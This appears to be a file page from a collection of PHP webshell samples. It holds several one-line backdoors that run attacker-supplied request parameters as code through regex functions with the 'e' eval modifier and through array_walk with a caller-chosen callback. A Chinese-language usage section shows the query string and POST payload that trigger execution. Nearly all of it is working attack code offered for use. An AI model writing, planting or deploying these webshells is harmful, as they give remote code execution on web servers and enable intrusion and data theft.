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Create 2020.08.20.14.php
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php/2020.08.20.14.php
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28
php/2020.08.20.14.php
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<?php
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mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
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?>
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<?php
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preg_filter('|\d|e', $_REQUEST['x'], '2');
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?>
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use like:
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```
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<?php
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$e = $_REQUEST['e'];
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$arr = array($_POST['x'] => '|.*|e',);
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array_walk($arr, $e, '');
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?>
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此时提交如下 payload 的话:
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Php
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shell.php?e=preg_replace
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最后就相当于执行了如下语句:
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Php
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preg_replace('|.*|e',$_POST['x'],'')
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这个时候只需要 POST x=phpinfo();
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```
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